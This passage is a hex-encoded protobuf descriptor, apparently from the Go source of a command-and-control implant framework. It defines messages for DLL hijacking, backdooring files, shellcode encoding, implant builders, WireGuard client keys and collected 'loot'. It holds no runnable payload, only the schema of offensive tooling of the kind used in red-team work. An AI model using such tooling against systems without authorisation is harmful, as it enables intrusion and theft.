0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, + 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, + 0x73, 0x22, 0xbd, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, + 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, + 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, + 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, + 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, + 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, + 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, + 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, + 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, + 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, + 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, + 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, + 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, + 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, + 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xef, 0x02, 0x0a, 0x04, + 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, + 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, + 0x43, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, + 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, + 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, + 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, + 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, + 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, + 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, + 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, + 0x87, 0x02, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, + 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, + 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, + 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x8c, 0x01, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, + 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, + 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, + 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, + 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, + 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, + 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, + 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, + 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x7c, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, + 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, + 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, + 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, + 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, + 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 